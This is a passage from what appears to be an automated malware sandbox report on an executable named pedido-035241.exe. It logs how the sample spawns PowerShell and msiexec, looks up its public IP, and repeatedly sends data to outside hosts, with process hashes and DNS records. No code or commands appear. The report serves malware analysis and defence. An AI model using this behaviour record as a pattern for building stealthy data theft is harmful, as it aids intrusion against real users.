| Dec 16, 2024 16:33:48.409008980 CET | 49853 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:48.409272909 CET | 80 | 49861 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:48.409367085 CET | 49861 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:48.409517050 CET | 49861 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:48.531933069 CET | 80 | 49861 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:49.648853064 CET | 80 | 49861 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:49.650125027 CET | 49867 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:49.650191069 CET | 443 | 49867 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:49.650298119 CET | 49867 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:49.650473118 CET | 49867 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:49.650490999 CET | 443 | 49867 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:49.689426899 CET | 49861 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:50.878164053 CET | 443 | 49867 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:50.879951000 CET | 49867 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:50.880032063 CET | 443 | 49867 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:51.799140930 CET | 443 | 49867 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:51.799211979 CET | 443 | 49867 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:51.799262047 CET | 49867 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:51.799825907 CET | 49867 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:51.805660009 CET | 49861 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:51.806763887 CET | 49870 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:51.960170031 CET | 80 | 49870 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:51.960385084 CET | 80 | 49861 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:51.960462093 CET | 49870 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:51.961927891 CET | 49870 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:51.961927891 CET | 49861 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:52.082278967 CET | 80 | 49870 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:53.168433905 CET | 80 | 49870 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:53.169790983 CET | 49874 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:53.169909000 CET | 443 | 49874 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:53.170013905 CET | 49874 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:53.170283079 CET | 49874 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:53.170305014 CET | 443 | 49874 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:53.220477104 CET | 49870 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:54.517927885 CET | 443 | 49874 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:54.519454956 CET | 49874 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:54.519506931 CET | 443 | 49874 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:54.968799114 CET | 443 | 49874 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:54.968967915 CET | 443 | 49874 | 104.21.67.152 | 192.168.2.4 |
| Dec 16, 2024 16:33:54.969099045 CET | 49874 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:54.969321012 CET | 49874 | 443 | 192.168.2.4 | 104.21.67.152 |
| Dec 16, 2024 16:33:54.993555069 CET | 49870 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:55.113997936 CET | 80 | 49870 | 158.101.44.242 | 192.168.2.4 |
| Dec 16, 2024 16:33:55.114095926 CET | 49870 | 80 | 192.168.2.4 | 158.101.44.242 |
| Dec 16, 2024 16:33:55.132849932 CET | 49880 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:33:55.132942915 CET | 443 | 49880 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:33:55.133024931 CET | 49880 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:33:55.133421898 CET | 49880 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:33:55.133450985 CET | 443 | 49880 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:33:56.519758940 CET | 443 | 49880 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:33:56.520021915 CET | 49880 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:33:56.529232979 CET | 49880 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:33:56.529258013 CET | 443 | 49880 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:33:56.529671907 CET | 443 | 49880 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:33:56.579982042 CET | 49880 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:33:56.587297916 CET | 49880 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:33:56.631330967 CET | 443 | 49880 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:33:57.030190945 CET | 443 | 49880 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:33:57.030368090 CET | 443 | 49880 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:33:57.030592918 CET | 49880 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:33:57.032254934 CET | 49880 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:34:02.894747972 CET | 49818 | 80 | 192.168.2.4 | 193.122.6.168 |
| Dec 16, 2024 16:34:03.093199968 CET | 49901 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:34:03.093245029 CET | 443 | 49901 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:34:03.093337059 CET | 49901 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:34:03.093575954 CET | 49901 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:34:03.093595982 CET | 443 | 49901 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:34:04.463536024 CET | 443 | 49901 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:34:04.465178013 CET | 49901 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:34:04.465245008 CET | 443 | 49901 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:34:04.465322018 CET | 49901 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:34:04.465343952 CET | 443 | 49901 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:34:05.167098999 CET | 443 | 49901 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:34:05.167296886 CET | 443 | 49901 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:34:05.167784929 CET | 49901 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:34:05.168756962 CET | 49901 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:34:06.695687056 CET | 49907 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:34:06.695779085 CET | 443 | 49907 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:34:06.695869923 CET | 49907 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:34:06.696078062 CET | 49907 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:34:06.696110964 CET | 443 | 49907 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:34:08.080616951 CET | 443 | 49907 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:34:08.082329035 CET | 49907 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:34:08.082398891 CET | 443 | 49907 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:34:08.082473040 CET | 49907 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:34:08.082496881 CET | 443 | 49907 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:34:08.695486069 CET | 443 | 49907 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:34:08.696957111 CET | 443 | 49907 | 149.154.167.220 | 192.168.2.4 |
| Dec 16, 2024 16:34:08.697051048 CET | 49907 | 443 | 192.168.2.4 | 149.154.167.220 |
| Dec 16, 2024 16:34:10.731851101 CET | 49907 | 443 | 192.168.2.4 | 149.154.167.220 |
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Dec 16, 2024 16:33:16.547719002 CET | 61284 | 53 | 192.168.2.4 | 1.1.1.1 |
| Dec 16, 2024 16:33:16.687407017 CET | 53 | 61284 | 1.1.1.1 | 192.168.2.4 |
| Dec 16, 2024 16:33:19.335721970 CET | 57905 | 53 | 192.168.2.4 | 1.1.1.1 |
| Dec 16, 2024 16:33:19.475506067 CET | 53 | 57905 | 1.1.1.1 | 192.168.2.4 |
| Dec 16, 2024 16:33:25.243374109 CET | 58887 | 53 | 192.168.2.4 | 1.1.1.1 |
| Dec 16, 2024 16:33:25.381164074 CET | 53 | 58887 | 1.1.1.1 | 192.168.2.4 |
| Dec 16, 2024 16:33:27.704869032 CET | 52376 | 53 | 192.168.2.4 | 1.1.1.1 |
| Dec 16, 2024 16:33:28.032845974 CET | 53 | 52376 | 1.1.1.1 | 192.168.2.4 |
| Dec 16, 2024 16:33:34.926011086 CET | 64408 | 53 | 192.168.2.4 | 1.1.1.1 |
| Dec 16, 2024 16:33:35.098680019 CET | 53 | 64408 | 1.1.1.1 | 192.168.2.4 |
| Dec 16, 2024 16:33:54.994133949 CET | 55120 | 53 | 192.168.2.4 | 1.1.1.1 |
| Dec 16, 2024 16:33:55.132142067 CET | 53 | 55120 | 1.1.1.1 | 192.168.2.4 |
| Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|
| Dec 16, 2024 16:33:16.547719002 CET | 192.168.2.4 | 1.1.1.1 | 0x9136 | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Dec 16, 2024 16:33:19.335721970 CET | 192.168.2.4 | 1.1.1.1 | 0x5980 | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Dec 16, 2024 16:33:25.243374109 CET | 192.168.2.4 | 1.1.1.1 | 0x5a05 | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Dec 16, 2024 16:33:27.704869032 CET | 192.168.2.4 | 1.1.1.1 | 0x9efc | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Dec 16, 2024 16:33:34.926011086 CET | 192.168.2.4 | 1.1.1.1 | 0xb3e3 | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Dec 16, 2024 16:33:54.994133949 CET | 192.168.2.4 | 1.1.1.1 | 0xa3ce | Standard query (0) | A (IP address) | IN (0x0001) | false |
| Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|---|---|
| Dec 16, 2024 16:33:16.687407017 CET | 1.1.1.1 | 192.168.2.4 | 0x9136 | No error (0) | 172.217.19.174 | A (IP address) | IN (0x0001) | false | ||
| Dec 16, 2024 16:33:19.475506067 CET | 1.1.1.1 | 192.168.2.4 | 0x5980 | No error (0) | 142.250.181.97 | A (IP address) | IN (0x0001) | false | ||
| Dec 16, 2024 16:33:25.381164074 CET | 1.1.1.1 | 192.168.2.4 | 0x5a05 | No error (0) | checkip.dyndns.com | CNAME (Canonical name) | IN (0x0001) | false | ||
| Dec 16, 2024 16:33:25.381164074 CET | 1.1.1.1 | 192.168.2.4 | 0x5a05 | No error (0) | 193.122.6.168 | A (IP address) | IN (0x0001) | false | ||
| Dec 16, 2024 16:33:25.381164074 CET | 1.1.1.1 | 192.168.2.4 | 0x5a05 | No error (0) | 132.226.8.169 | A (IP address) | IN (0x0001) | false | ||
| Dec 16, 2024 16:33:25.381164074 CET | 1.1.1.1 | 192.168.2.4 | 0x5a05 | No error (0) | 132.226.247.73 | A (IP address) | IN (0x0001) | false | ||
| Dec 16, 2024 16:33:25.381164074 CET | 1.1.1.1 | 192.168.2.4 | 0x5a05 | No error (0) | 158.101.44.242 | A (IP address) | IN (0x0001) | false | ||
| Dec 16, 2024 16:33:25.381164074 CET | 1.1.1.1 | 192.168.2.4 | 0x5a05 | No error (0) | 193.122.130.0 | A (IP address) | IN (0x0001) | false | ||
| Dec 16, 2024 16:33:28.032845974 CET | 1.1.1.1 | 192.168.2.4 | 0x9efc | No error (0) | 104.21.67.152 | A (IP address) | IN (0x0001) | false | ||
| Dec 16, 2024 16:33:28.032845974 CET | 1.1.1.1 | 192.168.2.4 | 0x9efc | No error (0) | 172.67.177.134 | A (IP address) | IN (0x0001) | false | ||
| Dec 16, 2024 16:33:35.098680019 CET | 1.1.1.1 | 192.168.2.4 | 0xb3e3 | No error (0) | checkip.dyndns.com | CNAME (Canonical name) | IN (0x0001) | false | ||
| Dec 16, 2024 16:33:35.098680019 CET | 1.1.1.1 | 192.168.2.4 | 0xb3e3 | No error (0) | 158.101.44.242 | A (IP address) | IN (0x0001) | false | ||
| Dec 16, 2024 16:33:35.098680019 CET | 1.1.1.1 | 192.168.2.4 | 0xb3e3 | No error (0) | 193.122.130.0 | A (IP address) | IN (0x0001) | false | ||
| Dec 16, 2024 16:33:35.098680019 CET | 1.1.1.1 | 192.168.2.4 | 0xb3e3 | No error (0) | 193.122.6.168 | A (IP address) | IN (0x0001) | false | ||
| Dec 16, 2024 16:33:35.098680019 CET | 1.1.1.1 | 192.168.2.4 | 0xb3e3 | No error (0) | 132.226.8.169 | A (IP address) | IN (0x0001) | false | ||
| Dec 16, 2024 16:33:35.098680019 CET | 1.1.1.1 | 192.168.2.4 | 0xb3e3 | No error (0) | 132.226.247.73 | A (IP address) | IN (0x0001) | false | ||
| Dec 16, 2024 16:33:55.132142067 CET | 1.1.1.1 | 192.168.2.4 | 0xa3ce | No error (0) | 149.154.167.220 | A (IP address) | IN (0x0001) | false |
|
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 0 | 192.168.2.4 | 49800 | 193.122.6.168 | 80 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| Dec 16, 2024 16:33:25.506360054 CET | 151 | OUT | |
| Dec 16, 2024 16:33:26.778592110 CET | 321 | IN | |
| Dec 16, 2024 16:33:26.784601927 CET | 127 | OUT | |
| Dec 16, 2024 16:33:27.192281008 CET | 321 | IN | |
| Dec 16, 2024 16:33:29.720519066 CET | 127 | OUT | |
| Dec 16, 2024 16:33:30.131134033 CET | 321 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 1 | 192.168.2.4 | 49818 | 193.122.6.168 | 80 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| Dec 16, 2024 16:33:31.949470043 CET | 127 | OUT | |
| Dec 16, 2024 16:33:33.218835115 CET | 321 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 2 | 192.168.2.4 | 49828 | 158.101.44.242 | 80 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| Dec 16, 2024 16:33:35.223452091 CET | 151 | OUT | |
| Dec 16, 2024 16:33:36.447566032 CET | 321 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 3 | 192.168.2.4 | 49835 | 158.101.44.242 | 80 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| Dec 16, 2024 16:33:38.559715986 CET | 151 | OUT | |
| Dec 16, 2024 16:33:39.763645887 CET | 321 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 4 | 192.168.2.4 | 49842 | 158.101.44.242 | 80 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| Dec 16, 2024 16:33:41.616498947 CET | 151 | OUT | |
| Dec 16, 2024 16:33:42.841303110 CET | 321 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 5 | 192.168.2.4 | 49853 | 158.101.44.242 | 80 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| Dec 16, 2024 16:33:45.096046925 CET | 151 | OUT | |
| Dec 16, 2024 16:33:46.300425053 CET | 321 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 6 | 192.168.2.4 | 49861 | 158.101.44.242 | 80 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| Dec 16, 2024 16:33:48.409517050 CET | 151 | OUT | |
| Dec 16, 2024 16:33:49.648853064 CET | 321 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 7 | 192.168.2.4 | 49870 | 158.101.44.242 | 80 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| Dec 16, 2024 16:33:51.961927891 CET | 151 | OUT | |
| Dec 16, 2024 16:33:53.168433905 CET | 321 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 0 | 192.168.2.4 | 49778 | 172.217.19.174 | 443 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-16 15:33:18 UTC | 216 | OUT | |
| 2024-12-16 15:33:19 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 1 | 192.168.2.4 | 49784 | 142.250.181.97 | 443 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-16 15:33:21 UTC | 258 | OUT | |
| 2024-12-16 15:33:24 UTC | 4929 | IN | |
| 2024-12-16 15:33:24 UTC | 4929 | IN | |
| 2024-12-16 15:33:24 UTC | 4840 | IN | |
| 2024-12-16 15:33:24 UTC | 1322 | IN | |
| 2024-12-16 15:33:24 UTC | 1390 | IN | |
| 2024-12-16 15:33:24 UTC | 1390 | IN | |
| 2024-12-16 15:33:24 UTC | 1390 | IN | |
| 2024-12-16 15:33:24 UTC | 1390 | IN | |
| 2024-12-16 15:33:24 UTC | 1390 | IN | |
| 2024-12-16 15:33:24 UTC | 1390 | IN | |
| 2024-12-16 15:33:24 UTC | 1390 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 2 | 192.168.2.4 | 49806 | 104.21.67.152 | 443 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-16 15:33:29 UTC | 85 | OUT | |
| 2024-12-16 15:33:29 UTC | 880 | IN | |
| 2024-12-16 15:33:29 UTC | 362 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 3 | 192.168.2.4 | 49812 | 104.21.67.152 | 443 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-16 15:33:31 UTC | 61 | OUT | |
| 2024-12-16 15:33:31 UTC | 880 | IN | |
| 2024-12-16 15:33:31 UTC | 362 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 4 | 192.168.2.4 | 49824 | 104.21.67.152 | 443 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-16 15:33:34 UTC | 85 | OUT | |
| 2024-12-16 15:33:34 UTC | 874 | IN | |
| 2024-12-16 15:33:34 UTC | 362 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 5 | 192.168.2.4 | 49831 | 104.21.67.152 | 443 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-16 15:33:37 UTC | 61 | OUT | |
| 2024-12-16 15:33:38 UTC | 870 | IN | |
| 2024-12-16 15:33:38 UTC | 362 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 6 | 192.168.2.4 | 49840 | 104.21.67.152 | 443 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-16 15:33:40 UTC | 85 | OUT | |
| 2024-12-16 15:33:41 UTC | 874 | IN | |
| 2024-12-16 15:33:41 UTC | 362 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 7 | 192.168.2.4 | 49848 | 104.21.67.152 | 443 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-16 15:33:44 UTC | 85 | OUT | |
| 2024-12-16 15:33:44 UTC | 872 | IN | |
| 2024-12-16 15:33:44 UTC | 362 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 8 | 192.168.2.4 | 49855 | 104.21.67.152 | 443 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-16 15:33:47 UTC | 85 | OUT | |
| 2024-12-16 15:33:48 UTC | 878 | IN | |
| 2024-12-16 15:33:48 UTC | 362 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 9 | 192.168.2.4 | 49867 | 104.21.67.152 | 443 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-16 15:33:50 UTC | 85 | OUT | |
| 2024-12-16 15:33:51 UTC | 863 | IN | |
| 2024-12-16 15:33:51 UTC | 362 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 10 | 192.168.2.4 | 49874 | 104.21.67.152 | 443 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-16 15:33:54 UTC | 85 | OUT | |
| 2024-12-16 15:33:54 UTC | 877 | IN | |
| 2024-12-16 15:33:54 UTC | 362 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 11 | 192.168.2.4 | 49880 | 149.154.167.220 | 443 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-16 15:33:56 UTC | 349 | OUT | |
| 2024-12-16 15:33:57 UTC | 344 | IN | |
| 2024-12-16 15:33:57 UTC | 55 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 12 | 192.168.2.4 | 49901 | 149.154.167.220 | 443 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-16 15:34:04 UTC | 344 | OUT | |
| 2024-12-16 15:34:04 UTC | 581 | OUT | |
| 2024-12-16 15:34:05 UTC | 388 | IN | |
| 2024-12-16 15:34:05 UTC | 527 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 13 | 192.168.2.4 | 49907 | 149.154.167.220 | 443 | 8000 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-16 15:34:08 UTC | 350 | OUT | |
| 2024-12-16 15:34:08 UTC | 7046 | OUT | |
| 2024-12-16 15:34:08 UTC | 388 | IN | |
| 2024-12-16 15:34:08 UTC | 538 | IN |
Click to jump to process
Click to jump to process
back
Click to dive into process behavior distribution
Click to jump to process
| Target ID: | 0 |
| Start time: | 10:32:01 |
| Start date: | 16/12/2024 |
| Path: | C:\Users\user\Desktop\pedido-035241.exe |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0x400000 |
| File size: | 1'093'536 bytes |
| MD5 hash: | 68AD57514CFB4E1CB4529556DBBC9B73 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | low |
| Has exited: | true |
| Target ID: | 1 |
| Start time: | 10:32:04 |
| Start date: | 16/12/2024 |
| Path: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0x6c0000 |
| File size: | 433'152 bytes |
| MD5 hash: | C32CA4ACFCC635EC1EA6ED8A34DF5FAC |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
| Target ID: | 2 |
| Start time: | 10:32:04 |
| Start date: | 16/12/2024 |
| Path: | C:\Windows\System32\conhost.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff7699e0000 |
| File size: | 862'208 bytes |
| MD5 hash: | 0D698AF330FD17BEE3BF90011D49251D |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
| Target ID: | 6 |
| Start time: | 10:33:03 |
| Start date: | 16/12/2024 |
| Path: | C:\Windows\SysWOW64\msiexec.exe |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0xb50000 |
| File size: | 59'904 bytes |
| MD5 hash: | 9D09DC1EDA745A5F87553048E57620CF |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Yara matches: |
|
| Reputation: | high |
| Has exited: | false |
Execution Graph
| Execution Coverage: | 22.2% |
| Dynamic/Decrypted Code Coverage: | 0% |
| Signature Coverage: | 17% |
| Total number of Nodes: | 1383 |
| Total number of Limit Nodes: | 34 |
Graph
Function 004034F7 Relevance: 88.0, APIs: 33, Strings: 17, Instructions: 450stringfilecomCOMMON
Download Yara Rule
Control-flow Graph
| APIs |
|
| Strings |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 004056A8 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON
Download Yara Rule
Control-flow Graph
| APIs |
|
| Strings |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00405C13 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148filestringCOMMON
Download Yara Rule
Control-flow Graph
| APIs |
|
| Strings |
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00406BFE Relevance: 5.4, APIs: 4, Instructions: 382COMMON
Download Yara Rule
Control-flow Graph
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
| APIs |
| Strings |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Control-flow Graph
| APIs |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 00403BB6 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215stringregistryCOMMON
Download Yara Rule
Control-flow Graph
| APIs |
|
| Strings |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Function 0040307D Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 181memoryCOMMON
Download Yara Rule
Control-flow Graph
| APIs |
|
| Strings |
|
| Memory Dump Source |
|
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
